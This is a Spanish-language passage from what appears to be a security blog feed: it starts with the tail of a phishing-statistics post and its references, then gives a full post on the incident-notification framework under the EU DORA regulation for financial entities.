• El 90% de los ataques de phishing enviados a través de aplicaciones de mensajería se envían a través de WhatsApp. El siguiente porcentaje más alto es Telegram, con un 5,04%.

Referencias

• https://aag-it.com/the-latest-phishing-statistics/
• https://docs.apwg.org/reports/apwg_trends_report_q3_2022.pdf
• https://www.pandasecurity.com/en/mediacenter/tips/types-of-phishing/
• https://www.fortinet.com/resources/cyberglossary/types-of-phishing-attacks

La entrada Monstruos de río: Phishing aparece primero en Security Art Work.

Es innegable que desde la publicación del Reglamento Europeo sobre la resiliencia operativa digital del sector financiero (DORA) el marco de gestión de riesgos de ciberseguridad de las entidades del sector financiero está sufriendo grandes cambios. Sobre todo, en lo que se refiere a asegurar sus operaciones, cada vez más dependientes de las TIC, lo que ha hecho a este sector muy vulnerable a los problemas que afectan a estas tecnologías, como es el caso de los ciberataques.

Hasta la llegada de DORA, los riesgos cibernéticos que afectaban al sector financiero se abordaban de forma fragmentada. Existían normas generales de aplicación parcial para el sector financiero y normas destinadas al sector financiero que trataban la gestión de riesgos TIC de forma irregular y con cierta incoherencia.

En este entorno, el Reglamento DORA está llamado a unificar y facilitar la aplicación de un marco que permita mantener el pleno control del riesgo relacionado con las TIC. Las entidades financieras necesitan disponer de capacidades globales para realizar una gestión del riesgo tecnológico sólida y eficaz, así como de mecanismos y políticas específicos para gestionar los incidentes relacionados con las TIC y notificar aquellos que sean graves.

Es concretamente este último: la notificación de los incidentes graves relacionados con las TIC, uno de los pilares del DORA, ya que este Reglamento deberá armonizar y racionalizar la forma de notificación de los incidentes de ciberseguridad, al tiempo que amplía las obligaciones de notificación a todas las entidades financieras.

Hoy en día, las empresas sufren la proliferación de requisitos relacionados con la notificación de incidentes relacionados con las TIC, que se traduce en que deben tener en cuenta múltiples circunstancias, plazos, umbrales y multas asociadas en caso de incumplimiento, lo que dificulta la gestión eficaz de los incidentes relacionados con las TIC.

El DORA debe facilitar el cumplimiento de las obligaciones de notificación, ya que armoniza las plantillas de notificación, así como las condiciones que desencadenan dicha obligación. Condiciones y métodos de notificación a través de los que las empresas de servicios financieros tendrán que proporcionar a sus autoridades nacionales competentes la información necesaria.

Actualmente, las autoridades de supervisión como la EBA, EIOPA, ESMA y el Comité Mixto de Autoridades Supervisoras se encuentran en un proceso de consultas con ENISA para llevar a la práctica un marco armonizado y simplificado para la notificación de incidentes graves relacionados con las TIC. Gracias a este marco, las entidades financieras podrán implementar un proceso de gestión de incidentes relacionados con las TIC que les facilite la detección, gestión y notificación a la autoridad competente de dichos incidentes, a través de una notificación inicial, un informe intermedio y un informe final. Y que además les permitirá notificar a la autoridad competente, con carácter voluntario, las ciberamenazas significativas.

De este modo, el Banco Central Europeo y ENISA están llevando a cabo proyectos para especificar con mayor detalle los parámetros relacionados con los ciberincidentes. Como, por ejemplo, los umbrales de gravedad de los incidentes que están sujetos a la obligación de notificación, los criterios que deben aplicar las autoridades competentes para evaluar la importancia de los incidentes graves, o los umbrales de probabilidad para determinar las ciberamenazas más significativas. En cuanto al contenido de las notificaciones, estos proyectos definirán también los elementos y detalles que deben contener las notificaciones, cuáles son de interés para otros Estados miembros, además de los plazos para la notificación inicial y para el resto de los informes obligatorios, entre otros aspectos.

El periodo de consultas para establecer la clasificación de los incidentes finaliza en enero de 2024, mientras que está previsto que el plazo para definir procedimiento de notificación se extienda hasta junio de ese mismo año. Por tanto, debemos estar atentos a lo que nos trae este nuevo marco de notificación, esperando que la simplificación y unificación de los procedimientos de notificación de incidentes sea una realidad el próximo año.

La entrada Marco de notificación de incidentes de ciberseguridad en el Reglamento DORA aparece primero en Security Art Work.